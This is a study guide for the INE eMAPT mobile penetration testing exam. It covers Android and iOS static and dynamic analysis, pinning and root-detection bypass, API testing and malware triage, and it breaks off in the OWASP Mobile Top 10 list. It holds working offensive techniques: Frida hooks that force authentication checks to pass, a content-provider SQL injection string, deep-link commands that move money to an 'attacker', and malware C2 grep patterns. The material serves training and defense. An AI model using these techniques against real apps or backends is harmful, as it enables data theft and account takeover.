eMAPT Exam - Guided By RedBlock

Updated 2026-10-02· 77 min read· 1 views
Share:

eMAPT - Mobile Application Penetration Tester

eMAPT Exam - Guided By RedBlock

eMAPT Field Guide — Mobile Application Penetration Tester (INE)

A complete, concept-first study guide for the INE eMAPT certification: Android + iOS application security assessment across reconnaissance, static analysis, dynamic testing, API/backend security, reverse engineering, mobile malware analysis, and threat modeling. Organized to the eight exam domains, with tooling, commands, worked walkthroughs, and — for every vulnerability class — why it exists, how to validate it, its impact, and how developers fix it (the eMAPT grades understanding, not memorized commands).

How to use this: read it end to end once for the mental model, then use the per-domain sections as a working reference while you practice on intentionally-vulnerable apps and authorized labs. Spend the most time on Reconnaissance/Static Analysis and Dynamic Testing — together 40% of the exam. ⚠️ Authorized testing only. Everything here is for apps, devices, APIs, and backends you own or have explicit written permission to test. Practice exploitation only on deliberately-vulnerable apps (DIVA, InsecureBankv2, Damn Vulnerable iOS App, OWASP MASTG crackmes, Pivaa, Allsafe, UnCrackable). Never touch third-party apps or infrastructure without authorization.


Table of Contents

  1. eMAPT Overview & Exam Strategy

  2. Mobile Security Foundations

  3. Android Architecture & Security Model

  4. iOS Architecture & Security Model

  5. Lab Setup & Tooling

  6. Android App Structure & Components

  7. Android Static Analysis

  8. Android Local Storage & Data Protection

  9. Android Dynamic Analysis & Instrumentation

  10. iOS App Structure & Artifacts

  11. iOS Static Analysis

  12. iOS Dynamic Analysis & Instrumentation

  13. Network Interception & SSL/Certificate Pinning

  14. API & Backend Security Testing

  15. Reverse Engineering & Code Deobfuscation

  16. Mobile Malware Analysis

  17. Threat Modeling, Methodology & OWASP MASVS

  18. OWASP Mobile Top 10 — The Vulnerability Catalogue

  19. Deep Links, URL Schemes & Intent Attacks

  20. WebView Security Deep Dive

  21. Platform Crypto, Keystore/Keychain & Biometrics

  22. Frida & Objection Scripting Cookbook

  23. Practice Labs & Vulnerable-App Reference

  24. Device Prep: Rooting, Jailbreaking & Emulators

  25. Anti-Tamper, Anti-Debug & Resilience Bypass

  26. Native Libraries, JNI & Binary Analysis

  27. Android Component Deep-Dive

  28. iOS Objective-C / Swift Runtime & Binary Deep-Dive

  29. Hybrid & Cross-Platform App Testing (React Native, Flutter, Cordova)

  30. Traffic Analysis Deep-Dive (beyond plain HTTPS)

  31. Firebase, Cloud Backends & Push Notifications

  32. Drozer & Attack-Surface Automation

  33. Detailed Vulnerability Examples (code → exploit → fix)

  34. Worked Assessment — Android (end to end)

  35. Worked Assessment — iOS (end to end)

  36. Worked Assessment #3 — Hybrid (React Native) App

  37. iOS Testing Without a Jailbreak (re-signing & Frida gadget)

  38. Burp Suite Mobile Workflow & Semgrep Static Rules

  39. Detailed Examples — Batch 3 (storage, auth & logic)

  40. Exam Scenarios & Approach Patterns

  41. Comprehensive Command & Tool Index

  42. 30-Day Plan, Pitfalls & Exam-Day Tips

  43. Quick Reference & Glossary


1. eMAPT Overview & Exam Strategy

What it is. The eMAPT is a hands-on, scenario-based certification validating practical mobile application security assessment on both Android and iOS. You're expected to work like a real engagement: establish the attack surface, analyze the app statically and dynamically, test its backend API, reverse-engineer where needed, and validate findings with impact and remediation.

Exam domains and weights:

#

Domain

Weight

1

Reconnaissance & Static Analysis

20%

2

Dynamic Testing & Runtime Manipulation

20%

3

API & Backend Security Testing

15%

4

Mobile Application Security Foundations

10%

5

Threat Modeling & Attacker Mindset

10%

6

Reverse Engineering & Code Deobfuscation

10%

7

Mobile Malware Analysis

10%

Strategy that scores:

  • Both platforms. The single biggest mistake is studying only Android. iOS is tested — know IPA structure, Info.plist, Keychain, entitlements, and jailbreak-detection/SSL-pinning bypass on iOS too.

  • Concept over command. For each finding know: why the flaw exists, how to validate (reproduce it), the security impact, and the developer remediation. "I ran a tool and it said X" isn't a finding.

  • Attack surface first. Before deep testing, map the whole surface: app components, local storage, IPC, WebViews, deep links, the backend API, auth/session, and the device trust assumptions.

  • Client controls ≠ security. Anything enforced only on the device (hidden buttons, client-side role checks, "isPremium" flags, SSL pinning, root/jailbreak detection) is a speed bump, not a control — prove it by bypassing it and showing the server still trusts the client.

  • Methodology loop: Recon → Static → Dynamic → API → Reverse Engineering → Validate → Report. Timebox discovery vs. validation vs. reporting.

Reference frameworks you'll map to: OWASP MASVS (the requirements/standard), OWASP MASTG/MSTG (the testing guide and techniques), OWASP Mobile Top 10 (the vuln taxonomy), and PTES (engagement phases).


2. Mobile Security Foundations

How mobile differs from web. A web app runs on a server you can't see; the browser is a thin, standardized client. A mobile app ships the client to the attacker — the binary, its logic, its embedded secrets, and its local data all sit on a device the tester controls. That inverts the threat model:

  • The binary is readable — decompile it, read the logic, extract secrets.

  • Local storage is reachable — on a rooted/jailbroken device (or via backup) you read the app's files, databases, and preferences.

  • Runtime is manipulable — hook functions with Frida, change return values, bypass checks.

  • The backend API is the real trust boundary — the server must re-validate everything, because the client can be fully controlled.

The mobile attack surface (memorize this map):

CLIENT (the app binary + device)
  - code & logic (decompiled)        - hardcoded secrets/keys/URLs
  - local storage (prefs/db/files)   - Keystore/Keychain usage
  - IPC (intents/components/XPC)      - WebViews (JS bridges, file access)
  - deep links / URL schemes          - logging / debug artifacts
  - client-side auth/role checks       - anti-tamper (root/JB, pinning, anti-debug)
NETWORK
  - TLS config & certificate pinning  - traffic in transit (MITM in a lab)
BACKEND / API
  - authentication & session           - authorization (BOLA/BFLA)
  - business logic                      - data exposure / IDOR
  - token handling (JWT/OAuth)          - rate limiting
DEVICE / PLATFORM
  - OS version & patch level            - sandbox & permission model
  - backup/cloud sync                   - biometric/secure-enclave usage

Core principle. Treat the device as hostile territory the attacker owns. Any security decision made solely on the device can be undone. Real security lives server-side and in correct use of platform crypto (Keystore/Keychain, Secure Enclave). Your job is to find where developers trusted the client, stored secrets insecurely, or exposed the backend.


3. Android Architecture & Security Model

The stack (bottom-up): Linux kernel → Hardware Abstraction Layer → native libraries + Android Runtime (ART) → Java/Kotlin framework (APIs) → applications. Apps are usually Java/Kotlin compiled to DEX bytecode, run by ART (ahead-of-time compiled to OAT/native on install).

Security boundaries:

  • Application sandbox. Each app runs as its own Linux UID, isolating its files and memory from other apps. Inter-app interaction must go through defined IPC (intents, content providers, services) or shared sharedUserId (legacy).

  • Permission model. Apps declare permissions in the manifest; dangerous permissions are granted at runtime (Android 6+). Over-permissioned apps widen the attack surface.

  • App signing. Every APK is signed; updates must share the signing key. Signature-level permissions restrict certain components to apps signed with the same key.

  • SELinux enforces mandatory access control on top of the UID sandbox.

  • Verified Boot / Play Integrity attest device/app integrity to the backend (which a real app should verify server-side).

Key components (each is attack surface):

  • Activities — UI screens. Exported activities can be launched by other apps (intent-based access, auth bypass if a screen assumes prior auth).

  • Services — background work. Exported services can be invoked externally.

  • Broadcast Receivers — respond to system/app events. Exported receivers can be triggered with crafted broadcasts.

  • Content Providers — structured data sharing (often SQLite-backed). Exported or path-traversable providers leak or let you modify data; SQL injection in query() selection is common.

  • Intents — the IPC messaging objects. Implicit intents and extras are attacker-influenceable; PendingIntent misuse and intent redirection lead to privilege issues.

  • Deep links / App Links — URLs that open the app; if they drive sensitive actions without validation, they're an entry point.

Storage & crypto primitives: SharedPreferences, SQLite, internal/external files, and the Android Keystore (hardware-backed key storage — keys never leave secure hardware when done right). Secrets belong in Keystore-protected form, never hardcoded or in plaintext prefs.


4. iOS Architecture & Security Model

The stack: a Darwin/XNU kernel, with app frameworks (Cocoa Touch, UIKit/SwiftUI, Foundation). Apps are Objective-C/Swift compiled to native Mach-O binaries, distributed as IPA archives. iOS is more locked-down than Android by default.

Security boundaries:

  • App sandbox. Each app is confined to its container directory; inter-app access is tightly restricted (no general filesystem access).

  • Code signing & provisioning. All code must be signed by Apple (or a dev/enterprise cert); entitlements grant specific capabilities (keychain groups, app groups, push, etc.). This is why testing often needs a jailbroken device or a re-signed app.

  • Data Protection. File encryption classes tied to the passcode/Secure Enclave (NSFileProtectionComplete etc.) control when files are decryptable.

  • Keychain. The secure credential store; items have accessibility classes (kSecAttrAccessibleWhenUnlocked, ...ThisDeviceOnly, etc.). Misconfigured accessibility (e.g., Always) weakens protection.

  • Secure Enclave — hardware key management and biometrics (Touch/Face ID).

Key artifacts (attack surface):

  • IPA — a ZIP; Payload/<App>.app/ holds the Mach-O, resources, and Info.plist.

  • Mach-O binary — the compiled app; encrypted on-device by FairPlay for App Store apps (must be decrypted — "unpinned"/dumped — to analyze; tools: frida-ios-dump, bagbak, Clutch).

  • Info.plist — configuration: bundle ID, URL schemes, ATS (App Transport Security) exceptions, permissions usage strings.

  • Entitlements — granted capabilities (inspect with codesign -d --entitlements).

  • URL schemes / Universal Links — iOS deep-linking entry points.

  • Keychain — where credentials/tokens should live; dump on a jailbroken device with Objection/keychain tools to check what's stored and how.

iOS vs Android for testing: iOS's closed model means more setup friction (jailbreak, binary decryption, re-signing) but the classes of bugs are the same — insecure storage, weak transport, hardcoded secrets, broken auth, client-side trust, IPC abuse, and backend flaws.


5. Lab Setup & Tooling

Android toolkit:

Device/emulator : rooted test device, Android Studio AVD, or Genymotion
adb             : Android Debug Bridge (shell, pull/push, logcat, install)
jadx / jadx-gui : DEX -> readable Java (primary decompiler)
apktool         : unpack/repack APK, decode manifest + smali (resources)
dex2jar + JD-GUI: alternative DEX -> JAR -> Java
aapt / aapt2    : inspect manifest, permissions, components
frida / frida-server : dynamic instrumentation (hooking)
objection       : Frida-powered runtime toolkit (no scripting needed)
MobSF           : automated static+dynamic analysis (great first pass)
Burp Suite / mitmproxy : API interception
nuclei/ffuf     : API endpoint discovery/fuzzing (authorized)
keytool/apksigner: signing/cert inspection, re-sign patched APKs
# essential adb
adb devices ; adb shell ; adb install app.apk ; adb uninstall com.pkg
adb pull /data/data/com.pkg ./loot        # app sandbox (root)
adb logcat | grep -i com.pkg              # runtime logs
adb shell pm list packages -3             # 3rd-party packages
adb shell pm dump com.pkg | less          # components, permissions

iOS toolkit:

Device          : jailbroken iPhone (checkra1n/palera1n/unc0ver per iOS) for full testing
frida / frida-server (via Cydia/Sileo) : instrumentation
objection       : runtime toolkit (iOS supported)
frida-ios-dump / bagbak / Clutch        : decrypt & dump the Mach-O
class-dump / dsdump                      : recover Obj-C class headers
Hopper / Ghidra / IDA                    : disassembly/decompilation
otool / nm / strings / codesign          : binary & signing inspection
plutil / libimobiledevice (ideviceinstaller, ifuse) : plist, device I/O
Burp Suite / mitmproxy                   : interception
otool -l App | grep -A5 LC_ENCRYPTION_INFO   # is the binary FairPlay-encrypted?
codesign -d --entitlements :- App            # entitlements
plutil -p Info.plist                          # readable plist
strings -a App | less                         # quick secret hunt

MobSF (both platforms) is the fastest first pass — it unpacks, decompiles, flags manifest issues, hardcoded secrets, insecure API usage, and can do basic dynamic analysis. Use it to triage, then verify and deepen manually (the exam wants manual understanding, not a MobSF report).


6. Android App Structure & Components

APK layout (it's a ZIP):

AndroidManifest.xml   (binary-encoded; decode with apktool/aapt)
classes.dex           (app bytecode; multiple classesN.dex possible)
resources.arsc        compiled resources
res/                  layouts, drawables, raw assets
assets/               bundled files (often secrets/configs hide here)
lib/                  native .so libraries (per-ABI)
META-INF/             signature (CERT.RSA/SF, MANIFEST.MF)
unzip -o app.apk -d app_unzipped
apktool d app.apk -o app_apktool        # decoded manifest + smali + res
aapt dump badging app.apk               # package, version, SDK, permissions
aapt dump permissions app.apk

AndroidManifest.xml — the map of the app. Read it first. For each component check android:exported:

<activity  android:name=".AdminActivity"  android:exported="true"/>     <!-- launchable by any app? -->
<service   android:name=".SyncService"    android:exported="true"/>
<receiver  android:name=".BootReceiver"   android:exported="true"/>
<provider  android:name=".DataProvider" android:authorities="com.pkg.data" android:exported="true"/>
<activity><intent-filter><data android:scheme="myapp" android:host="open"/></intent-filter></activity> <!-- deep link -->

What to flag in the manifest:

  • exported="true" components (or implicitly exported via intent-filter) — reachable by other apps.

  • android:debuggable="true" — debuggable in production (lets you attach jdb/Frida freely, read memory).

  • android:allowBackup="true" — app data extractable via adb backup even without root.

  • android:usesCleartextTraffic="true" / permissive networkSecurityConfig — HTTP allowed, pinning weak.

  • Excessive/dangerous permissions that don't match the app's purpose.

  • Deep link / App Link schemes that drive sensitive actions.

  • minSdkVersion low enough to disable modern platform protections.

Reaching exported components (validate):

adb shell am start -n com.pkg/.AdminActivity                 # launch an exported activity
adb shell am start -a android.intent.action.VIEW -d "myapp://open/transfer?to=attacker&amt=1000"  # deep link
adb shell am startservice -n com.pkg/.SyncService
adb shell am broadcast -a com.pkg.SECRET_ACTION --es cmd reset
adb shell content query --uri content://com.pkg.data/users  # content provider
adb shell content query --uri content://com.pkg.data/users --where "name='a' OR '1'='1'"  # provider SQLi

Why it matters: an exported AdminActivity that assumes the user already authenticated = authentication bypass (launch it directly). An exported provider without permission = data leak or SQLi. A deep link that performs a transfer without re-auth = CSRF-like abuse / unauthorized action.


7. Android Static Analysis

Goal: understand the app and find weaknesses without running it. Workflow: Unpack → Decompile → Inspect → Identify → Validate.

jadx-gui app.apk            # browse decompiled Java/Kotlin (best readability)
jadx -d out app.apk         # CLI decompile to ./out

Hunt for hardcoded secrets (one of the most common, highest-impact findings):

# across decompiled source + resources + assets
grep -rInE "api[_-]?key|secret|password|token|bearer|aws_|firebase|BEGIN RSA" out/ app_apktool/
grep -rIn "https\?://" out/                       # backend URLs/endpoints
# strings in native libs
strings -a app_apktool/lib/arm64-v8a/*.so | grep -iE "key|token|http"

Secrets to expect: API keys (maps, payment, 3rd-party), backend base URLs and hidden endpoints, cloud credentials (AWS/Firebase), encryption keys/IVs, and hardcoded passwords. Why it exists: devoting a key to the client assumes the client is trusted — but the binary is readable. Impact: direct backend/3rd-party abuse, decryption of "encrypted" local data. Fix: keep secrets server-side; use short-lived tokens; never embed static keys.

Review cryptography usage (map to OWASP MASVS crypto):

  • Hardcoded keys/IVs; ECB mode; static IVs; weak algorithms (DES, MD5, SHA1 for passwords); Random instead of SecureRandom; keys derived from device IDs. Impact: "encrypted" storage/transport is trivially reversible.

Review the manifest & components (§6) in context of the code — does an exported component actually touch sensitive data/actions?

Insecure configurations & logic flaws:

  • Debug flags, verbose logging of secrets/PII, test endpoints, backdoor credentials.

  • Client-side authorization ("if user.isAdmin" decided on device), feature flags, license/premium checks — all bypassable.

  • WebView settings in code: setJavaScriptEnabled(true), addJavascriptInterface(...), setAllowFileAccess(true) → XSS-to-native and local file theft.

Smali when you need it. apktool produces smali (DEX assembly). You read/edit smali to understand or patch logic (e.g., force a method to return true), then repack and re-sign:

apktool b app_apktool -o patched.apk
apksigner sign --ks my.keystore patched.apk    # (or zipalign + apksigner)
adb install -r patched.apk

Patching is a valid validation technique (prove a client-side check is the only barrier), but prefer Frida for non-destructive runtime proof.


8. Android Local Storage & Data Protection

Insecure local storage is a flagship mobile finding — the device is attacker-controlled, so anything stored in cleartext is exposed.

Where apps store data (pull and inspect on a rooted device):

adb shell run-as com.pkg ls -la /data/data/com.pkg      # (debuggable) or root
adb pull /data/data/com.pkg ./appdata
#  shared_prefs/*.xml   - SharedPreferences (often tokens/flags in cleartext)
#  databases/*.db       - SQLite (open with sqlite3/DB Browser)
#  files/               - arbitrary files, caches, downloaded content
#  cache/, no_backup/
sqlite3 appdata/databases/app.db ".tables" ".dump users"

Even without root: if allowBackup=true,

adb backup -noapk com.pkg -f backup.ab
# convert .ab -> tar (abe.jar / dd+zlib) and extract the app's data

What to flag: auth tokens / session IDs / passwords / PII in SharedPreferences or SQLite in cleartext; "encrypted" values with keys hardcoded in the APK (§7); sensitive data on external storage (world-readable historically); secrets in logs (adb logcat); screenshots/caches leaking data. Keystore done right keeps key material in hardware; check whether the app actually uses Keystore or just base64/obfuscation (not encryption). Impact: device theft, malware with storage access, or a shared device yields credentials/PII. Fix: store secrets in Keystore-backed encryption (Jetpack Security EncryptedSharedPreferences/EncryptedFile), set allowBackup=false for sensitive apps, keep secrets off external storage and out of logs.


9. Android Dynamic Analysis & Instrumentation

Dynamic analysis observes and manipulates the app while it runs — the heart of mobile testing. Evidence: network traffic, logs, runtime values, file access, API calls, IPC, WebView behavior, auth flows.

Set up Frida:

# push the matching frida-server to the device and run it as root
adb push frida-server /data/local/tmp/ ; adb shell "chmod 755 /data/local/tmp/frida-server"
adb shell "su -c /data/local/tmp/frida-server &"
frida-ps -Uai            # list apps
frida -U -f com.pkg -l hook.js --no-pause

Objection (Frida without writing scripts) — fastest runtime toolkit:

objection -g com.pkg explore
# inside objection:
android hooking list activities
android hooking watch class_method com.pkg.LoginActivity.checkPin --dump-args --dump-return
android sslpinning disable
android root disable
android keystore list
memory search --string "token"

Common runtime objectives & hooks:

  • SSL-pinning bypass (authorized labs) — so you can see API traffic (§13). objection ... sslpinning disable or a Frida pinning-bypass script.

  • Root-detection bypass — hook the detection method to return "not rooted" (objection android root disable, or Frida hook the function).

  • Anti-debugging/anti-tamper bypass — hook the integrity/isDebuggerConnected checks.

  • Client-side auth/logic bypass — hook the method that validates a PIN/role/license and force the "success" return; this proves the check is client-side only.

  • Capture runtime secrets — hook crypto (Cipher, SecretKeySpec) to dump keys/plaintext; hook network calls to log payloads.

Frida hook example (concept — force a client-side check to pass):

Java.perform(function () {
  var Login = Java.use('com.pkg.LoginActivity');
  Login.checkPin.implementation = function (pin) {
    console.log('[*] checkPin called with: ' + pin);
    return true;               // bypass the client-side check -> proves it's not server-enforced
  };
});

WebViews & IPC at runtime: test addJavascriptInterface bridges (can JS call native methods? → RCE-in-app / data theft), file:// access, and whether WebViews load attacker-controllable URLs. Fire intents/broadcasts (§6) and watch behavior in logcat.

Always tie a runtime finding back to the server: a bypassed client check is only critical if the backend then honors the manipulated request. If the server re-validates, it's a defense-in-depth note, not a vuln.


10. iOS App Structure & Artifacts

IPA layout (ZIP):

Payload/<App>.app/
   <App>              Mach-O binary (FairPlay-encrypted if from App Store)
   Info.plist         configuration
   embedded.mobileprovision  provisioning profile
   _CodeSignature/    signature
   *.nib, Assets.car, bundles, frameworks/
unzip App.ipa -d ipa_out
plutil -p ipa_out/Payload/App.app/Info.plist
otool -l ipa_out/Payload/App.app/App | grep -A4 LC_ENCRYPTION_INFO   # cryptid 1 = encrypted
codesign -d --entitlements :- ipa_out/Payload/App.app

Info.plist — read it first:

  • CFBundleURLTypes → custom URL schemes (deep-link entry points).

  • NSAppTransportSecurity → ATS exceptions (NSAllowsArbitraryLoads=true means cleartext/weak TLS permitted).

  • NS*UsageDescription → declared sensitive permissions (camera, location, contacts).

  • UIFileSharingEnabled / LSSupportsOpeningDocumentsInPlace → the app's Documents dir is exposed via iTunes/Files.

Decrypt the binary (required before meaningful static RE of App Store apps). FairPlay decrypts into memory at runtime, so you dump the decrypted image from a jailbroken device:

frida-ios-dump -u user -P pass -o App.decrypted.ipa <bundle-id>   # or bagbak / Clutch

App container on device (jailbroken): app data lives under /var/mobile/Containers/Data/Application/<GUID>/ (Documents, Library, tmp) and the bundle under /var/containers/Bundle/Application/<GUID>/. Objection navigates these without manual GUID hunting.


11. iOS Static Analysis

After decrypting the Mach-O, analyze logic and hunt secrets.

strings -a App | grep -iE "http|api|key|secret|token|password|BEGIN"   # quick secrets/endpoints
nm App | less                      # symbols
otool -hv App ; otool -L App       # header, linked libraries
class-dump -H App -o headers/      # recover Obj-C class/method headers (Obj-C apps)
# Swift: use dsdump / Ghidra's Swift demangling; Swift symbols are mangled

Load into Ghidra/Hopper/IDA for decompilation: locate auth/crypto/license functions, follow control flow, understand checks you'll later bypass dynamically. What to flag:

  • Hardcoded secrets/keys/endpoints (same impact as Android).

  • Weak/rolled-your-own crypto; hardcoded keys; weak Keychain accessibility (kSecAttrAccessibleAlways).

  • Insecure NSUserDefaults storage of tokens (the iOS equivalent of plaintext prefs).

  • ATS disabled; cleartext endpoints.

  • Jailbreak-detection and anti-debug routines (note them — you'll bypass at runtime).

  • Insecure URL-scheme handlers that perform sensitive actions on crafted input.

Validate storage: on a jailbroken device, inspect the app container (NSUserDefaults plist in Library/Preferences, files in Documents/Library, and the Keychain):

objection -g <bundle-id> explore
ios nsuserdefaults get
ios keychain dump
ios plist cat Library/Preferences/<bundle-id>.plist

Tokens/passwords/PII in NSUserDefaults or in Keychain items with over-broad accessibility are findings.


12. iOS Dynamic Analysis & Instrumentation

Same goals as Android, iOS tooling. On a jailbroken device:

frida-ps -Uai
objection -g <bundle-id> explore
# inside objection:
ios hooking list classes
ios hooking watch method "-[LoginVC validatePin:]" --dump-args --dump-return
ios sslpinning disable
ios jailbreak disable
ios keychain dump
ios cookies get

Frida hook (Objective-C) — bypass a client-side check:

if (ObjC.available) {
  var LoginVC = ObjC.classes.LoginViewController;
  Interceptor.attach(LoginVC['- validatePin:'].implementation, {
    onLeave: function (ret) { ret.replace(ptr(1)); }   // force BOOL YES
  });
}

Runtime objectives on iOS:

  • Jailbreak-detection bypass (so the app runs on your test device) — ios jailbreak disable or hook the detection (checks for /Applications/Cydia.app, /bin/bash, fork() success, suspicious dylibs).

  • SSL-pinning bypass to see API traffic (§13).

  • Keychain inspection to see what credentials are stored and their accessibility class.

  • Hook crypto / network to capture keys and payloads.

  • URL-scheme / Universal-Link fuzzing — invoke handlers with crafted input to reach sensitive actions.

# trigger a custom URL scheme (Simulator) / or via Safari on device:
xcrun simctl openurl booted "myapp://transfer?to=attacker&amount=1000"

As on Android, the critical question is always whether the backend honors the manipulated request.


13. Network Interception & SSL/Certificate Pinning

Seeing the app↔backend traffic is essential (it exposes the API, auth, tokens, and data handling).

Proxy setup (authorized lab):

1. Run Burp/mitmproxy on your host; note the proxy IP:port.
2. Point the device/emulator Wi-Fi proxy at it.
3. Install the proxy CA on the device so TLS can be intercepted:
   - Android 7+: user CAs are NOT trusted by apps by default. Either run the app on an
     emulator and place the CA in the SYSTEM store, or the app must opt into user CAs via
     networkSecurityConfig. (A re-packaged debug build can add user-CA trust.)
   - iOS: install the CA profile and ENABLE full trust (Settings > General > About > Certificate Trust).

Certificate pinning — the app validates the server cert/public key against a pinned copy, so even your trusted CA won't let you MITM. Bypass (authorized):

objection -g com.pkg explore -s "android sslpinning disable"   # Android
objection -g <bundle> explore -s "ios sslpinning disable"      # iOS
# or a Frida universal pinning-bypass script; or (Android) patch the pinning logic in smali

Why pinning exists / what bypassing proves: pinning raises the bar against network MITM, but it's a client-side control — a determined attacker on a controlled device bypasses it. Bypassing it in testing is how you see the API; it doesn't by itself prove a server vuln. Report nuance: "pinning present (good), bypassable on a rooted device (expected); the real issues are what the now-visible API does wrong." Fix for weak transport: enforce TLS 1.2+, no ATS/cleartext exceptions, pin to a public key (not a leaf cert), and — crucially — don't rely on pinning as a security boundary.


14. API & Backend Security Testing

Mobile apps are thin clients over an API; most high-impact findings live in the backend, now visible after you intercept traffic (§13). Test the authorized app's API like a web API, with mobile-specific angles.

Discovery: capture all endpoints from live traffic; extract hardcoded URLs/paths from the binary (§7/§11); diff versions; look for hidden/admin/debug endpoints and undocumented params (Param Miner / content discovery).

Authentication & session:

  • Weak/guessable tokens; tokens that don't expire or aren't invalidated on logout; refresh-token misuse.

  • JWT flaws: alg:none, weak HMAC secret (crack it), signature not verified, sensitive data in the (base64, not encrypted) payload, no expiry. Decode and test:

echo "<jwt-payload-b64>" | base64 -d        # read claims
# test alg:none / tampered claims / cracked secret -> does the server accept it?
  • Credentials or tokens sent insecurely; tokens stored insecurely on device (ties back to §8/§11).

Authorization — the big two for mobile APIs:

  • BOLA (Broken Object Level Authorization / IDOR) — change an object ID and access another user's data:

    GET /api/v1/users/1001/profile   ->  change to 1002   (do you get someone else's data?)
    GET /api/v1/orders/55            ->  /orders/56
    

    Why: the server trusts the client-supplied ID without checking ownership. Impact: mass data exposure/modification. Fix: server-side ownership checks on every object access.

  • BFLA (Broken Function Level Authorization) — access a function above your role:

    POST /api/v1/admin/users/delete   (as a normal user — is it blocked?)
    change role=user -> role=admin in a request body / token
    

    Fix: enforce role/privilege server-side per function.

Other API findings: excessive data exposure (API returns more fields than the UI shows — read the raw JSON), mass assignment (send extra fields like "isAdmin":true), missing rate limiting (brute force/enumeration), injection (SQLi/NoSQLi/command) in parameters, and business-logic abuse (negative amounts, replay, skipped steps).

Mobile-specific trust mistakes: the server trusting client-provided prices/roles/flags, device-only "receipt validation," or relying on the app to hide an endpoint. Golden rule: client-side restrictions are not authorization — re-test every "the app won't let you" assumption directly against the API.


15. Reverse Engineering & Code Deobfuscation

When logic is unclear or obfuscated, RE recovers understanding. Workflow: Binary → Disassembly/Decompilation → Control Flow → Relevant Function → Logic Analysis → Finding.

Formats & tools:

Android: DEX (Dalvik bytecode) -> jadx (Java), smali (apktool); OAT/ELF native; .so via Ghidra/IDA
iOS:     Mach-O -> Ghidra/Hopper/IDA; Obj-C headers via class-dump; Swift mangled names

Terminology (know the difference — exam asks):

  • Decompilation — bytecode/binary → high-level source-like code (jadx, Ghidra decompiler). Readable but lossy.

  • Disassembly — binary → assembly/smali. Faithful, lower-level.

  • Debugging — step through a running process (jdb, lldb, Frida-based).

  • Runtime instrumentation — hook/alter a running app's functions (Frida/Objection) without recompiling.

Common obfuscation & how you deal with it:

  • Identifier renaming (ProGuard/R8, obfuscators) — a.b.c() everywhere. Rename as you understand; use xrefs; focus on behavior, not names.

  • String encryption — strings decrypted at runtime by a helper method. Deobfuscate dynamically: hook the decrypt function with Frida and log its return values — far faster than reversing the algorithm.

    Java.perform(function(){
      var D = Java.use('com.pkg.Strings');
      D.decrypt.implementation = function(s){ var r=this.decrypt(s); console.log('[str] '+r); return r; };
    });
    
  • Control-flow flattening / opaque predicates — the decompiler output is a mess of state machines. Reason locally, use the debugger/Frida to observe real paths taken.

  • Reflection — code calls methods by name string to hide them; hook Method.invoke / Class.forName to reveal what's actually called.

  • Native/packed code — logic pushed into .so/Mach-O to resist Java decompilation; analyze in Ghidra, or hook at the JNI boundary.

  • Anti-tamper/anti-debug — checks that crash under analysis; hook/patch them.

The efficient RE mindset: you rarely need to fully reverse an obfuscated binary. Find the one function that matters (the license check, the crypto, the token generator), understand or hook it, and prove the security point. Dynamic (Frida) beats static when strings/logic are obfuscated.


16. Mobile Malware Analysis

A defensive/analytical domain: understand what malicious mobile apps do and how to analyze them safely. (You analyze malware; you don't write it.)

Malware objectives (what to look for): credential/2FA theft (overlay/accessibility abuse, SMS interception), banking trojans (overlays on finance apps), spyware/stalkerware (location/mic/camera/exfil), click fraud, ransomware, droppers, and mobile APT implants (targeted surveillance).

Safe handling — critical: analyze only in an isolated lab — a dedicated emulator/VM or an air-gapped test device, no personal accounts, no real SIM, network either disabled or routed through a monitored sandbox. Never install a live sample on a device you care about.

Static malware analysis:

# triage
aapt dump badging sample.apk ; aapt dump permissions sample.apk   # over-broad perms = red flag
jadx -d out sample.apk                                            # read the logic
grep -rInE "SEND_SMS|RECEIVE_SMS|BIND_ACCESSIBILITY|SYSTEM_ALERT_WINDOW|DEVICE_ADMIN|READ_CONTACTS" out/
grep -rInE "http[s]?://|\.onion|C2|exfil|/upload|/gate" out/      # C2 endpoints

Red flags: dangerous permission combos (SMS + accessibility + overlay + device-admin), dynamic code loading (DexClassLoader), reflection to hide APIs, request for accessibility service (used to read screens / auto-click), overlay permission (phishing overlays), and persistence (boot receiver, device admin to resist uninstall).

Dynamic malware analysis: run in the sandbox and observe — network (C2 beacons, exfil destinations), file/SMS/contact access, installed-app enumeration, overlay/accessibility behavior, and persistence. Tools: MobSF dynamic, Frida to trace API calls, a monitored network (Zeek/mitmproxy) to capture C2.

Anti-analysis / evasion to expect: emulator detection (checks build props, sensors, telephony), root/debug detection, delayed/triggered execution (only acts after a time/command), string/class encryption, packing, and dynamic payload download (benign-looking app pulls the malicious stage later). Counter emulator checks by using a real test device or spoofing the checked properties; use Frida to force past gates.

Reporting malware: classify behavior (map to ATT&CK for Mobile / the malware's objectives), list IOCs (package name, hashes, C2 domains/IPs, permissions, persistence), and describe capability and impact.


17. Threat Modeling, Methodology & OWASP MASVS

Think like an attacker, systematically. Before testing, model the target:

  • Assets — what's worth stealing (credentials, tokens, PII, financial data, IP/business logic, crypto keys).

  • Threat actors — opportunistic malware, a malicious user of the app, someone with a stolen/lost device, a network MITM, a malicious app on the same device, a backend attacker.

  • Attack surfaces — the map in §2 (client, network, backend, device).

  • Attack paths — e.g., stolen device → read token from plaintext prefs → replay against API → account takeover; or decompile → hardcoded API key → abuse 3rd-party service.

  • Trust boundaries — where does the system wrongly trust the client? Those are your highest-yield targets.

Engagement methodology (PTES-aligned): scoping/rules of engagement → intelligence/attack-surface mapping → threat modeling → analysis (static+dynamic+API) → exploitation/validation → post-analysis → reporting. Scope matters especially in mobile: the app, its API, which accounts, which environments (never prod data without authorization), and whether 3rd-party services are in scope.

OWASP MASVS (Mobile Application Security Verification Standard) — the requirements you test against, grouped by control area:

MASVS-STORAGE   secure storage of sensitive data
MASVS-CRYPTO    correct cryptography
MASVS-AUTH      authentication & authorization
MASVS-NETWORK   secure network communication
MASVS-PLATFORM  secure platform interaction (IPC, WebViews, deep links)
MASVS-CODE      code quality & secure build (anti-injection, updates)
MASVS-RESILIENCE anti-tamper/anti-reverse (defense in depth, not a boundary)

OWASP MASTG/MSTG is the companion testing guide — concrete test cases and techniques for each MASVS requirement. Map every finding to a MASVS requirement in your report; it shows rigor and gives developers a standard to fix against.


18. OWASP Mobile Top 10 — The Vulnerability Catalogue

The taxonomy to organize findings (current OWASP Mobile Top 10). For each: the gist, how to validate, and the fix.

  1. M1 Improper Credential Usage — hardcoded creds/keys, insecure credential storage/transmission. Validate: decompile for secrets; inspect storage; watch auth traffic. Fix: no hardcoded secrets; Keystore/Keychain; server-side auth.

  2. M2 Inadequate Supply Chain Security — malicious/vulnerable third-party SDKs and libraries. Validate: enumerate libraries/SDKs, check versions/known CVEs, review their permissions/behavior. Fix: vet dependencies, pin versions, monitor.

